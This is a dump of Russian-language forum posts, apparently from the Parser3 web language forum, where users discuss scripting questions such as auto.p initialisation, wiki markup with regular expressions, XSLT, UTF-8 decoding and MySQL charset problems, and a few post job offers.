"37409","... а в каких языках программирования датчик случайных чисел выдает не целое число? [Чисто для справки?]"
"37410","[code]^math:random(6666666666)[/code]\
почему этот код возвращает ошибку? Куда он дел моё заслуженное случайное число? Мне вот лично по барабану как там в других языках программирования, я не программист :)"
"37411","@auto[] вызывается до @main[], \"внутрь\" @main[] он никак не попадает, следовательно, даже если весь ваш код в @main[] обрамлен коннект'ом, код в @auto[] всё равно будет вне его (outside of connect operator). Что тут непонятного? :)\
\
http://www.parser.ru/forum/?id=37393 - сделайте так как тут, всё должно работать..."
"37412","... Возможно стоит написать в документации границу допустимых входных значений для random'a. Хотя мне, на практике, рандомы от таких больших значений никогда не требовались... подозреваю, что и разработчикам Парсера тоже. :)"
"37415","Честно говоря уже устал по форуму искать решение.\
Проблема, как я понял, уже известная:\
на IIS $request:uri выдает /lesson2/index.html хотя в адресной строке написано http://localhost/lesson2/.\
Как это обойти?"
"37416","[quote]\
Считываются, компилируются и инициализируются Конфигурационный файл; затем все файлы с именем auto.p, поиск которых производится начиная от корня веб-пространства, и ниже по структуре каталогов, вплоть до каталога с запрошенным документом; наконец, сам запрошенный документ. \
Все вместе они составляют определение класса MAIN. \
Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла.\
[/quote]\
\
Вот допустим у нас есть корневой auto.p, с методами @auto[] и main[] и файл index.html с методами @auto[] и @body[]...\
\
auto.p\
[code]\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@main[]\
^MAIN:pSQL.server{\
	^body[]\
}\
[/code]\
\
index.html\
[code]\
@auto[]\
$q[^MAIN:pSQL.sql[int]{SELECT COUNT(*) FROM table}]\
\
@body[]\
<p>Count - $q</p>\
[/code]\
\
Теперь смотрите, что происходит. Сначала инициализируется метод auto из auto.p. В нём не происходит подключения, мы просто инициализируем объект $MAIN:pSQL. Затем вызывается метод auto из index.html, в этом методе мы пытаемся отправить серверу запрос НО, подключение осуществляеться из метода @main[] auto.p, который вызывается уже в конце сборки класса $MAIN. Естественно мы огребаем ошибку..."
"37418","Пришёл к сабжевому выводу.\
В парсере не обнаружено методов обработки текста кроме рег.выражений, а ими реализовать вики-форматирование крайне сложно - не хватает функции \"пометки\" участков текста, как уже обработанных.\
\
1. Например, есть следующий вики-текст:\
\
[[http://www.somesite.com/somepage.htm CoolPage]]\
\
2. обрабатываем по правилу ссылок как в Wacko:\
\
<A href=\"http://www.somesite.com/somepage.htm\">CoolPage</A>\
\
3. А дальше правило CamelCase тут как тут:\
\
<A href=\"http://www.somesite.com/somepage.htm\"><A href=\"thissite/wiki/?page=CoolPage\">CoolPage</A></A>\
\
Если бы можно было пометить на 2м шаге, что текст от сих до сих уже обработан, и PCRE движку там делать нечего - было бы замечательно.\
\
Приходят в голову всякие workaround'ы типа конструирования вспомогательной таблицы, забивание её метками и текстами, вставкой метки в оригинальный текст, а затем replace оригинального текста по таблице, но как-то это... неаккуратненько (с)\
\
В общем бяка, и парсер ваш маздай ;)))))"
"37419","да и парсер наш нормальный, и никакой не маздай, и нефига тут со своими вакавяками к нему подъезжать...\
\
а функции всякие, конечно, предлайте, вместе посмеёмся :)"
"37420","Как там это реализовано? ;-)\
Ибо для работы с текстом существует всего 3 варианта: поиск/замена, regexp и MSWord aka текстовые процессоры.\
\
В сторону XML/XSLT не смотрели? Самая лучшая система работы с метатегами. Достаточно лишь уметь делать из [[...]] <link>...</link> и хранить именно в таком виде."
"37422","[quot]\
да и парсер наш нормальный, и никакой не маздай, и нефига тут со своими вакавяками к нему подъезжать...\
[/quot]\
\
да пошутил я :)\
\
пожалуй сделаю неаккуратненько :)"
"37423","не вижу ни малейшей разницы между заменой CoolPage на \
\
<A href=\".../CoolPage\">CoolPage</A>\
\
или на какой-то там\
\
<link target=\".../CoolPage\">CoolPage</link>\
\
вот :)\
\
и вообще считаю единственно оправданным применением XSLT - клепание шаблончиков отчётов для отображения XML-данных, которые нагенерила другая программа, в условиях невозможности (или ленивости :) перекомпилять собственные исходники генерации отчётов (т.к. генерация отчёта по построенному в памяти XML-дереву быстрее XSLT по определению). Всё ИМХО :)\
\
и ещё, читабельность XSLT шаблонов - примерно на уровне языка brainfuck, тоже ИМХО :))\
\
а насчёт того, что хранить XML лучше, чем хранить Wiki - чушь. Для ускорения отображения есть кеширование, а для редактирования всё равно нужно откуда-то оригинальный вики-текст доставать..."
"37424","1. Замены: между самой заменой - никакой разницы, но это до тех пор, пока с замененным не надо работать.\
\
2. Хранение: перевести XML в Wiki _значительно_ проще, чем сделать обратное преобразование.\
\
3. Применение: XSLT универсален. Не будете же отрицать универсальность того же Perl или PHP? Применение того же Perl/PHP/Parser ровно настолько же оправдано в случае, когда \"не лень написать и скомпилить сайт на C++\" или \"собрать HTML ручками\".\
Тут все зависит от задачи, но очень удобно имея _одни_ данные, строить простой заменой имени шаблона при трансформе как HTML, так и RTF/PostScript/Plain Text...\
\
4. Читабельность: а вот это приходит с опытом. причем, не само чтение, а умение написать так, чтоб другие прочитали. Относится это ко всем без исключения языкам. Даже к русскому, иначе все бы были Пушкиным/Толстым/Гоголем в одном флаконе ;-)"
"37425","[quot]\
Хранение: перевести XML в Wiki _значительно_ проще, чем сделать обратное преобразование.\
[/qout]\
\
Эх, дядечка Оккам бы вас, да бритвочкой :)\
Я к чему написал, что не вижу ни малейшей разницы - к тому, что преобразование вики-HTML, хоть и сложное, но не смертельное, и делать его каждый раз после редактирования (и только! - за счёт кеширования) - вовсе не напряжно.\
А вводить ещё одну сущность, которая зовётся XML, в данном случае совершенно излишне.\
\
Насчёт из одних XML-данных сразу и HTML и RTF и PS - это конечно красиво, задумка великолепная, но у перечисленных форматов настолько разный подход к формированию текста, что суметь сформировать их XSLTом - это ж какие завёрнутые мозги надо иметь... да ещё при этом более-менее читабельный шаблон написать..."
"37426","а поподробнее?\
(я Parser изучаю только второй день)"
"37427","Условие проверяется на истиность перед каждой итерацией.\
\
Если условие истино то тело итерации выполняется, иначе -- выход.\
\
Причем, если условие изначально ложное, то первой итерации не будет, будет моментальный выход."
"37428","Шаблон:\
[code] \
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
\
<!DOCTYPE xsl:stylesheet SYSTEM \"entities.dtd\">\
\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
	<xsl:include href=\"../title_.xsl\"/>\
	…\
	<xsl:include href=\"../page_.xsl\"/>\
\
</xsl:stylesheet>\
[/code]\
\
Если вызывать сущность (описанную в entities.dtd) непосредственно внутри приведённого выше шаблона – проблем нет, а вот если импортируемый xsl содержит эти сущности  – падает с ошибкой, т.к. процессор не может их найти. \
\
Выходит, что сущности, определённые в вызывающем документе не определены в подгружаемых?\
Однако, исходя из принципа инклюда шаблонов (инклюд аналогичен вставке кода импортируемого файла в место вызова) такого наблюдаться не должно.\
Выходит, процессор проверяет шаблон перед инклюдом, а не после?\
Если какие-либо мысли как сие обойти?.."
"37429","Скажите пожалуйста, почему иногда пишут так:\
@class[a;b;c]\
бла-бла-бла\
\
а иногда - так\
\
@class[a;b;c][d;e;f;g]\
бла-бла-бла.\
\
Зачем указывают эти переменные d;e;f;g?"
"37430","@method[a;b][a]\
$a\
$b\
\
Из других методов $a невидно, а $b видно\
Вообще всё в доке написано, неполенитесь прочитайте"
"37431","Есть вопрос по уроку 2.\
\
в файл auto.p есть такое:\
^greeting[]\
\
в index.html пишем следующее:\
@greeting[] \
Добро пожаловать!\
\
Выдает такое:\
Unhandled Exception (parser.compile)\
z:/home/test1.ru/www/index.html(4:10): parse error, expecting `$'\
\
\
Если вот это:\
@greeting[] \
Добро пожаловать!\
запихнуть в auto.p никаких ошибок не выдает.\
Возникает вопрос. Неужели такие auto.p должны быть в каждой папке раздела, ведь в корне, где лежит главный auto.p не пропишешь greeting для каждого раздела.\
\
Вот потому интересно, можно ли как-то вот это:\
@greeting[] \
Добро пожаловать!\
 кинуть в index.html и чтобы оно работало? или оно правильно ошибку выдает? Я просто не могу разобратся правильно ли я читал мануал или нет? Может просто я что-то не понял?"
"37432","Как раз в данном случае автор говорит о файле auto.p, а это как раз меня на текущий день не интересует. Я говорю о подключении дополнительных файлов к .html. Разве принципиальной разницы нет?"
"37433","В классе пропишу подключение и будет мне счастье наконец."
"37437","В паскале два рэндома - если без параметра, то вещественное [0-1), если с параметром, то целое [0-N)\
Опять же, большинство привычного мне научного софта генерит именно вещественные [0-1).\
\
Впрочем, с учетом одинаковой длины double и long не имеет никакого значения при условии random(MAX_LONG) ;-)"
"37438","Да, я кажется понял\
Только не пойму, зачем нам делать, чтобы не видно было переменные в других методах\
\
То есть есть слова типа \"не засорять пространство\",но непонятно почему. Они что, много памяти сжирают, эти переменные, если объявлять их на все классы, а не только на один?"
"37439","Прочитайте пример [url=http://www.parser.ru/examples/trees/]Построение деревьев[/url]"
"37440","Вы сразу ссылку на CVS дайте, пускай в исходных кодах разбирается %)\
\
Объявление переменной локальной означает лишь то, что после выполнения метода и всех вызываемых из него, она будет уничтожена, а пямять из под нее может быть очищена при следующей сборке мусора %)"
"37441","если бы мне это помогло я бы не спрашивал. Я дейсивтельно хочу разобратся конкретнее, вот и спросил, что тут такого?\
Дайте хотя бы готовый код 2-ого урока у кого есть?"
"37442","Сделан ткскзть \"альфаверсию\"\
см. тут:\
http://my.creator.pp.ru/wiki/\
\
принимаются предложения о правильном вики-синтаксисе. я посмотрел wackowiki и mediawiki - и в целом мне их синтаксис не понравился.\
нужно придумать свой синтаксис, который проще реализовать регэкспами и который не будет сильно совпадать с типичными текстами.\
\
также принимаются предложения о реализации преобразования многоуровневых вики-списков в HTML:\
\
[code]\
* list\
* list1\
** sublist 1\
*** subsublit 1\
* list2\
[/code]\
\
либо с пробелами:\
\
[code]\
* list\
* list1\
 * sublist 1\
  * subsublist 1\
* list2\
[/code]\
\
ну и варианты с нумерованными списками...\
лично у меня пока не получается, понятно что рекурсия нужна по-хорошему..."
"37443","COPY&PAST на здоровье!"
"37444","да я не про урок вообще. Может у кого есть файлы с этим уроком... больше ничего не надо, дальше сам разберусь"
"37445","я тоже долго парился вопросы задавал,пока сам не разобрался.Того же и тебе желаю! \
http://www.parser.ru/forum/?id=36337 это в помощь!"
"37447","После долгих раздумий на тему придумывания синтаксиса, я пришёл к выводу что проще освоить тем же секретаршам базовый хтмл, чем особый синтаксис.\
\
******* Загаловок ******* - подобная запись по-моему маразм. <h1>Заголовок</h1> куда проще.\
Единственное о чём действительно можно подумать, это о списках и о вставке спец символов без переключения с русской раскладки.\
ГРАД() - градус\
ПАРА(номер) - параграф\
или что-то в этом духе. Это можно сделать только потому что спец символы используются редко. В основном же лучше пользоваться хорошим типографом."
"37448","Уважаемый Евгений, вы противоречите сами себе :)\
\
Вики-синтаксис придуман втч и для того, чтобы _ускорить_ набор текста. Что быстрее - набрать \
\
==== Заголовок ====\
\
или\
\
<H3>Заголовок</H3> \
\
?\
держа в памяти простое правило: кол-во равенств = уровень заголовка + 1\
\
и кстати, никто вики-автору не запрещает писать прямо в HTML ;)\
нужно будет только писать &lt; &gt; вместо обычных < >, либо добавть соответствующее правило в типограф (замена < > не принадлежащих тегам на &lt; & &gt;)\
\
а некоторые правила из вашей \"копилки\" я уже прикрутил :))"
"37449","Здравствуйте.\
\
На http://www.parser.ru/download/redhat/ выложены библиотеки для работы с MySQL. А для PostgreSQL, случайно, нигде нет?"
"37451","/usr/lib/libparser3mysql.so\
/usr/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0\
\
/usr/lib/libparser3pgsql.so\
/usr/lib/libparser3pgsql.so: undefined symbol: __gxx_personality_v0\
\
[root@office root]# uname -a\
Linux office.e-nk.ru 2.4.26-std-up-alt8 #1 Wed Dec 15 22:55:30 MSK 2004 i686 unknown unknown GNU/Linux\
\
[root@office root]# rpm -q postgresql\
postgresql-7.4.5-alt1\
[root@office root]# rpm -q MySQL-server\
MySQL-server-4.0.21-alt1.M24.1\
\
[root@office root]# gcc -v\
Reading specs from /usr/lib/gcc-lib/i586-alt-linux/2.96/specs\
gcc version 2.96 20000731 (ALT Linux, build 2.96-alt6)\
\
Это не из-за того что собрано для RH8.0 ?"
"37453","то есть:\
\
есть числа приходящие из базы:\
\
318.7\
102.90 \
12\
178.3\
\
а как подсчитать сумму? то есть вариант: \
[code]\
$ab(^lol.menu{$lol.itogo}[+])\
[/code]\
\
приводит к ошибке. подскажите пожалуйста :)"
"37454","[code]\
  $sum(0)\
  ^table.menu{\
     ^sum.inc($table.itogo)\
  }\
[/code]"
"37456","См. функцию SUM() СУБД"
"37458","возможно, кому то эта статья будет тоже интересна\
http://www.webmascon.com/topics/technologies/13a.asp"
"37459","> Это не из-за того что собрано для RH8.0 ?\
\
Виноват gcc3.x\
\
Там собрано, со статически слинокванной libstdc++ и поэтому проблемы. Надо динамически. У меня есть такие, версии, но выкладывать было лениво :) выложу скоро."
"37461","Парсерным скриптом приходится читать из файлика данные, которые url-encoded (%D1%80%D1%83%D1%87%D0%B8), которые внутри ещё и в UTF-8. Возможно ли на парсере учинить двойное перекодирование?\
Страница у меня выводится в UTF-8 тоже, но сколько я не игрался с taint/untaint - не помогло.\
парсер упорно выводит текст в оригинальном виде, либо усугубляет ситуацию, наворачивая сверху ещё один urlencode :)"
"37463","Спасибо."
"37464","декодировать (правда, медленно) можно и вот таким вот извращением:\
\
[code]\
^str.match[\\%([A-Z0-9]{2})][g]{^process{^^#$match.1}}\
[/code]\
(+ на пробел перед этим заменить)\
\
но выводится всё равно СЂСѓС‡Рё, двойное utf-8 получается :("
"37465","Дмитрий Котеров выразился по этому же поводу намного круче и раньше в [url=\"http://dklab.ru/chicken/nablas/41.html\"]41-й набля[/url]."
"37466","У меня на одном из сайтов поисковые слова с гугеля так парсятся..\
$rep[^table::load[/utf-8.dat]]\
$rez1[^text.replace[$rep]]\
\
utf-8.dat:\
from	to\
%D0%B0	а\
%D0%B1	б\
%D0%B2	в\
%D0%B3	г\
%D0%B4	д\
%D0%B5	е\
%D1%91	ё\
%D0%B6	ж\
%D0%B7	з\
%D0%B8	и\
%D0%B9	й\
%D0%BA	к\
%D0%BB	л\
%D0%BC	м\
%D0%BD	н\
%D0%BE	о\
и т.д.."
"37467","А можно ли с помощью process создать новый класс? Как это сделать?\
\
[code]\
^process{@CLASS\
moe\
\
@create[]\
lalala\
}\
[/code]\
\
[code]\
^process[$moe:CLASS]{@create[]\
lalala\
}\
[/code]\
\
Двумя вышеприведёнными способами не получается. Вообще возмоно?"
"37468","[quot]Вики-синтаксис придуман втч и для того, чтобы _ускорить_ набор текста. Что быстрее - набрать\
\
==== Заголовок ====\
\
или\
\
<H3>Заголовок</H3>[/quot]\
\
Что бысрее - набрать теги bbCode типа *quot*...*quot*, помня при том, сколько там значков * для правильного определения уровня вложенности, или нажать кнопочку на тулбаре ? :)\
Может я не понимаю какой-то глубинной мысли, исходя из которой вместо визуального редактора надо использовать собственные теги разметки, а потом при постинге делать промежуточную страницу типа \"Посмотреть, что получилось\" ? Такой редактор имеет 70 строк кода на JS и работает под MSIE+Mozilla без проблем. К тму же проблем с разбором сообщений при записи/выводе меньше. Почему же не устраивает ?"
"37469","Попробуй создать пустой (без методов) файл с классом:\
\
[code]\
@CLASS\
moe\
\
@auto[]\
#\
[/code]\
\
А затем в контексте этого класса добавляй методы:\
\
[code]\
# подключаем наш пустой класс\
^use[moe.p]\
\
# добавляем метод к классу\
^process[$moe:CLASS]{@test_method[]\
Ура, получилось!!!\
}\
\
# запускаем метод\
^moe:test_method[]\
[/code]\
\
\
(проверял -- работает)"
"37470","сабж"
"37473","... а IE вообще скатина. У меня так ни разу и не получилось сделать DIVный дизайн, чтобы он нормально смотрелся в IE... В опере, мазиле и даже в сафари - всё ок, а для IE закон не писан >:-][\
\
А ещё очень рекомендую настоятельно и с пеной у рта навязывать \"визуальный редактор\" ребятам из википедии ;)))\
\
ЗЫ: мой основной броузер на РС - Опера, на маке - Сафари."
"37474","гыы... ну для urldecode ещё оправдано replace делать, но для utf8 - это как-то... эээ... странно :)\
\
парсер сам умеет делать перекодировки, зря что-ли у него папочка charsets есть :)\
\
вот такой вот мега-изврат работает:\
\
[code]\
@dirtyUTF8toCurrentCP[str][doc]\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\" ?> \
<document> \
^taint[xml][$str]\
</document>}] \
$result[$doc.documentElement.firstChild.nodeValue]\
[/code]\
\
раз ЭТО работает, может стоит разработчикам парсера добавить в taint/untaint codepages в качестве методов?\
чтобы можно было сделать ^taint[utf-8][...]"
"37475","А если мне нужно создать несколько классов?\
\
Получается, что для каждого класса нужно создавать и подключать отдельный файл."
"37476","Есть ли в Парсере команда позволяющая отключаться от базы данных ?"
"37478","Я далек от мысли кому то что то навязывать - просто хочу понять, какие есть принципиальные возражения против визивига в случае форума, wiki etc. Пока не понял, ибо невозможность поддержки Opera - не аргумент. Для мало распространенных браузеров, не поддерживающих визивиг, можно подгружать версию с псевдотегами (+ еще 30 строк в код редактора).\
К тому же в некоторых wiki визуальный редактор как раз есть :)"
"37479","Нужно чтобы что то типа этого но работыло\
INSERT INTO `tv_program` ( `channel_id` , `title` , `date` , `length` , `descrip')\
VALUES (\
SELECT 'id' FROM 'tv_chanels' WHERE title='РТР (2)', 'TITLE', '0000-00-00 00:00:00', '3'\
);"
"37480","Для взаимного понимания мне необходимо знать твою цель: зачем тебе создавать на лету разные классы с разными методами одновременно (в одном процессе).\
\
Ты можеш один раз создать пустой класс. А затем наполнять его любыми методами.\
\
Обьясни ситуацию, а то я не совсем понимаю для чего это надо."
"37484","... надо просто иногда иметь возможность \"вправить мозги\" парсеру, сказав явно - что \"вотэта\" строка в такой-то кодировке, несмотря на то, что взята из источника, сообщившего о \"такой-то\" кодировке."
"37485","Этот оператор уставаливает соединение с сервером баз данных.\
\
Начало и конец подключения определяются символами \"{\", \"}\" соответственно. \
\
Т.е., отвечая на твой вопрос, символ \"}\" закрывает соединение с базой данных."
"37486","В общем если соберусь - добавлю в вики визуальный редактор.\
\
А вот такое вот явное пренебрежение маководами и тамошним де-факто броузером Safari, вам, Кирилл, не простят :))\
\
и кстати, набрать *жирный* или даже [b]жирный[/b] всё таки быстрее, чем убрать руку с клавиатуры, схватить мышку, попасть в кнопку \"B(old)\", потом опять руки на исходную позицию и продолжать набор, особенно если товарищ Шахиджанян известен вам не только по книжке \"1001 вопрос ПРО ЭТО\" ;)))\
\
ЗЫ: не зря, ох не зря даже в Word'е есть фича \"заменять *текст* и _текст_ на полужирный и подчёркнутый\"."
"37487","Вопрос как мне сделать чтобы помимо под запроса можно было добавлять статистические данные"
"37491","Я как-то думал над этим. В результате получился нестандартный вид форматирования, но сейчас он нормально конвертируется в текста, набранные под вики (и обратно), а работать с ним даже быстрее.\
[слово] -> <a href=\"/site_best_match.htm?keyword=слово\">слово</a>\
[слово::/link] -> <a href=\"/link\">слово</a>\
Потом этого показалось мало, и пошли подобные фишки:\
[reality;mode==displayHotSales]\
Делается это через автозамену на вводе и ^process + .replace на выводе. \
\
http://aktar.sibarit.ru/about/macros"
"37493","спасибо"
"37494","[quot]держа в памяти простое правило: кол-во равенств = уровень заголовка + 1[/quot]\
\
Это сложно.\
\
Больше всего понравилось в wiki выравнивание по центру... комментарии просто излишни.\
\
Анамнез: \
1. Визуальный редактор - плохо (много ограничений), кстати необязательно убирать руку на мышку и нажимать кнопку B, если редактор правильный в нём есть горячие клавиши ctrl-b.\
\
2. Чистый wiki - тоже плохо, это тоже язык разметки равно как и хтмл, и его тоже надо учить. Некоторые вещи в нём сделаны хорошо, некоторые просто ужасно.\
\
3. Дать возможность вставлять теги. Чревато разбиением страницы.\
\
Диагноз.\
Пока не будет ликвидирована безграмотность, у корректоров, верстальщиков и кодеров будет работа."
"37496","XML:\
[code]<field name=\"Name\" id=\"ID\" type=\"text\" description=\"Имя\" maxlength=\"20\">[/code]\
\
XSL сейчас:\
[code]<input><xsl:copy-of select=\"@*\"/></input>[/code]\
\
Нужно, чтобы в результате оставались все атрибуты, кроме \"description\".\
\
Help, pls."
"37497","Проблема такая. Поставил себе последний Денвер, и не обратил внимание на то, что DUMP нового MySQL на совместим даже с 4.0.6 (там он добавляет инфу о кодировках), который стоит на хостинге. Ну себе на сервере я могу попытаться его обновить, а провайдер сказал, что это исключено. Так вот. Планировать переход на 4.1.8 и выше, или же установиться себе 4.0.6 и забыть об этом ? Кто как планирует эту проблему?"
"37498","ибо завтра кто-нить выдаст вам в xml ещё какой-нить атрибут, который вы не ожидаете.\
\
лучше перечислите все аттрибуты которые вы хотите чтобы они попали в результирующий html, их не так уж много :)\
\
P.S. какой знакомый xml описания полей форм :)"
"37499","mysqldump --help\
\
посмотрите на ключ --compatible=xyz\
может поможет.\
\
P.S. я так и не понял где что у вас установлено."
"37500","Само поле необязательно делать в таблице бинарным.\
Пусть оно будет бинарным... временно в запросе ))\
select * from metro order by BINARY name"
"37501","Пожалуй, так и сделаю.\
Но в порядке интереса, скажите, как сделать то, о чём я спрашивал."
"37502","http://dklab.ru/news/index.html#news42\
В Денвере обновилась версия MySQL: с 3.x до 4.1. Новая СУБД поддерживает Unicode на встроенном уровне, а также использует несколько другой протокол авторизации, несовместимый с PHP 4.3.10 (старый протокол включается опцией old-passwords, задействованной в Денвере). Служебные таблицы, хранящие пароли пользователей, изменили свой формат. Кроме того, кодировка с именем win1251, чаще всего применяемая в MySQL 3, в новой версии устранена, вместо нее — cp1251.\
\
Установлен Денвер с MySQL 4.1.6 на нотбуке, есть еще рабочий внутренний сервер Mandrake 10.1 MySQL 4.0.20 и сервер хостера с 4.0.6\
"
"37503","Читаем в документации \"Класс MAIN, обработка запроса\".\
\
Прочитав, с пониманием сути делаем следующие изменения:\
\
[i]index.html[/i]\
[code]@main[]\
<!DOCTYPE ...>\
<html>\
<head>\
...\
</head>\
<body>\
^content[]\
[b]</body>\
</html>[/b]\
[/code]\
\
[i]auto.p[/i]\
[code]@content[]\
<table ...>\
<tr>\
...\
</tr>\
</table>[/code]"
"37505","в какой-то момент времени вы решили поправить ваш html, открыли его в редакторе по ftp, внесли изменения и нажали save (или сказали \"копировать\" вашему ftp клиенту)\
\
в этот момент вначале файл html удалился и начал записываться новым содержимым (но ещё не записался, файл есть но он пустой), и тут пришел посетитель.\
\
ему начинается строится документ и парсер обнаруживает отсутствие @title[] (так и будет если html пуст), о чем он сообщит посетителю и в лог.\
\
резюме: если это разовая ошибка, то забить. если в логе таких ошибок валом - искать, вы что-то не договариваете.\
\
P.S. правтика когда тэг открывается в одном методе, а закрывается в другом - плоха (я про <body/>, <html/>)"
"37506","Насчет того, что я в этот момент что-то заливал - нет, я тоже сначала так подумал. Я сделал так: в auto.p прописал @title[] и Luzhnikovskiy еще посоветовал вести лог, т.е. когда этот титл срабатывает в лог записывается время, откуда пришли и что запросили. Данная ошибка вылетает достаточно редко - раз в 2-3 дня, но все же проскакивает."
"37507","немного не понял.... да, main выполняется первым, но он же может вызывать методы. Выполняется main, затем вызывает title[]."
"37508","Можно ли найти приличную студию или \"частника\", который сделает сайт на Parserе в пределах 1000$-1500$ ???\
Сайт нужен небольшой (всего 20стр.) из особенностей, только один «специфический» раздел Новости, остальные  страницы с постоянной информацией.\
И конечно дизайн, простой но симпатичный (пока есть только идеи).\
\
Григорий \
poctagrini@yandex.ru"
"37509","Здравствуйте!\
Получаю таблицу из БД в $current.\
После чего в $tmp заношу её структурую\
Как можно написать что-то типа\
[code]\
^current.menu{\
<tr>\
   ^tmp.menu{\
  <td>       ^current.$tmp.column  </td>\
       }\
</tr>\
}\
[/code]\
т.е. не зная струтуры таблицы выводить её значения"
"37511","^таблица.columns[]   \
\
Метод создает именованную таблицу из одного столбца column, содержащего заголовки столбцов исходной таблицы."
"37513","что эта ошибка ранее называлась \"exception in request exception handler\".\
\
http://www.parser.ru/forum/?id=22493"
"37515","Я так понял, есть подозрение, что эта ошибка из-за того что я что-то в @unhandled_exception[] написал? Да, в @unhandled_exception[] я ридерект на главную прописал, не так давно. Думаете может из-за этого быть?"
"37516","info@design4you.ru\
тел.: 209-40-84, 517-17-92, 772-85-09"
"37517","не poctagrini@yandex.ru\
\
а po[color=\"#ff0000\"]c[/color]htagrini@yandex.ru"
"37518","сама ошибка происходит в вашем коде, внутри метода @title[], по факту ошибки управление передаётся методу @unhandled_exception[], но так как он сам содержит ошибку, вместо того чтобы нормально отработать он вылетает, при этом парсер по непонятным пока причинам пишет в лог всякие глупости..."
"37519","Подскажите пожалуйста!\
Как можно определить число пользователей находящихся on-line и можно ли вообще. Просто я даже алгоритма не знаю и не представляю как можно определить on-line или нет.\
Заранее всех благодарю!!!"
"37520","но мне кажется это так легко сделать \
\
делаешь SELECT * FROM auser WHERE dt_logon > \"NOW() - 5 минут\"\
\
\"NOW() - 5 минут\" заменить на то, что тебе надо"
"37521","@title[] не содержит ошибок, там одни метатеги. А в лог пишется что @title[] не найден. Если дело обстоит так, то эта версия отпадает. : )"
"37522","добавьте в метод @title[] вызов любого несуществующего метода:\
[code]\
@title[]\
^abcdefghkkkkkkk[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
...\
[/code]\
если упадёт с ошибкой, отличной от \"'title' undefined method \", значит я где-то ошибся в рассчетах... :)"
"37523","у меня dt_logon это время когда ты залогинился (нажал кнопку \"Войти|Login|...\").\
\
я например на parser.ru не логинился ОЧЕНЬ давно :)"
"37524","есть табличка asession.\
нужно из неё выбрать записи у которых dt_access > now - сколько вам нужно.\
\
а потом достать всех пользователей (auser) которые есть в этих asession (там будут и сессии с auser_id = 0, анонимы).\
\
есссно можно все это сделать одним запросом (join или left join если нужны анонимусы)"
"37525","Можем сделать сайт любой сложности на парсер без проблем. Пример сайта полностью сделанный на Parser. [url=\"http://www.pwstudio.ru\"]ProWeb studio[/url]"
"37526","Смотри,\
Браузер передает запрос на сервер:\
[code]http://www.artlebedev.ru/portfolio/routine/2005/02/24/[/code]\
\
а rewrite mod, который работает на серевере, исправляте его на запрос такого вида, например:\
[code]\
http://www.artlebedev.ru/portfolio/routine/?y=2005&m=02&d=24\
или\
http://www.artlebedev.ru/?section=routine&y=2005&m=02&d=24\
или др\
[/code]\
\
При этом в адресной строке браузера отображается тот урл, который он запрашивал.\
\
Подробнее об этом модуле читай у Егорова на сайте:\
[url=\"http://www.egoroff.spb.ru/portfolio/apache/rewriteguide.html\"]тут[/ulr]\
[url=\"http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html\"]и тут[/ulr]\
\
П.С.\
Кстати, вышеприведенные ссылки обрабатывается Rewrite модулем и реально переадресовывается на страницу index.html находящуюся в корне веб-пространства."
"37527","У меня сеть мой шеф сказал сделать сайт сети что бы он мог смотреть и видеть кто в сети моя проблема состоит  том что он сказал что-бы над каждым компом горел датчик online или offline как бы мне это сделать на PHP"
"37528","добавил метод ^dfdfp[] в html файл в метод @title[].\
Ошибка в логе:\
[Thu Feb 24 20:41:07 2005] /msgboard/oborudovanie/positions_buy.html?sel1=3: /home/woodtrad/public_html/msgboard/oborudovanie/positions_buy.html(4:2): 'dfdfp' undefined method [parser.runtime]\
Вроде бы все как и должно быть.\
Я думаю придется долго наблюдать, может быть придет понимание, лог ошибок с этого титла я записываю. : ) \
Спасибо за поддержку!"
"37530","Ну я её только что скачал прошу прощения но на этой программе можно это сделать и еще раз прошу прощения"
"37534","Большое спасибо!!!"
"37535","В магазине чип и дип видел конструктор для LPT порта, в детали не вникал но видимо можно управлять чемто внешним, например лампочкой или реле.\
\
Вероятно вместе с конструктором идут драйвера.\
\
Также видел на linux.org.ru публиковаласи схема для LPT и драйвер для линукс\
\
Желаю удачи, если получится поделитесь"
"37537","Parser - 3.1.4, XML (CGI и модуль Apache), Windows XP\
	$request:charset[windows-1251]\
	$response:charset[windows-1251]\
\
MySQL - 4.1.10-nt [release], кодировка по умолчанию - cp1251 (данные записаны в ней же)\
\
Вместо кириллицы в полях типа TEXT выдаются знаки \"вопрос\". С помощью MySQLcc видно: 1. кириллица от \"Парсера\" записывается в виде вопросов, 2. кириллица из MySQL (записанная и проверенная MySQLcc) выводится \"Парсером\" в виде вопросов.\
В других типах текстовых полей кириллица работает правильно.\
?ClientCharset=windows-1251 в строке подключения - естественно в данной ситуации - ни на что не влияет.\
\
Драйвер libmysql.dll из комплекта MySQL, потому что используется новый метод аутенфикации."
"37538","Портфолио (веб/графика) и детали по запросу.\
\
Писать на gleb (at) grebennikov.com"
"37539","[url=\"http://www.egoroff.spb.ru/download/parser3/parser3sql_1_4_redhat80_pgsql.tar.gz\"]\
http://www.egoroff.spb.ru/download/parser3/parser3sql_1_4_redhat80_pgsql.tar.gz\
[/url]\
\
Если это не совсем то, спроси [url=\"http://www.parser.ru/forum/users/?uid=19\"]Егорова[/url]. Может он тебе поможет."
"37540","[url=\"http://www.parser.ru/forum/?id=22493\"]отключить[/url] (временно переименовать, например) @unhandled_exception на пару дней, возможно в логе появится  более внятное сообщение об ошибке. Это если дальнейшие наблюдения не дадут результатов..."
"37541","«Студия вашего будущего»?\
Неужели моё будущее так ужасно?"
"37543","Интересную штуку заметил на [url=\"http://mp3.samsung.ru/forum/\"]Форум Samsung MP3 Club[/url]. Оказывается там phpBB форум. А как же Parser? Или же это желание заказчика?"
"37544","На всех ли хостингах PARSER может работать ?"
"37547","нет у меня 45 машин их что всех внешним пингом долбать да я здохну"
"37548","но в этой программе есть перл а у него функция есть типа NET::PING а я так понял эта программа потдерживает перл"
"37550","Сначала нужно решить как дожны выводиться записи - т.е. на каждой строчке (<tr>) или же на одной строчке в разных столбцах (<td>)\
Если в разных строчках:\
[code]\
^if($out){\
<table ....>\
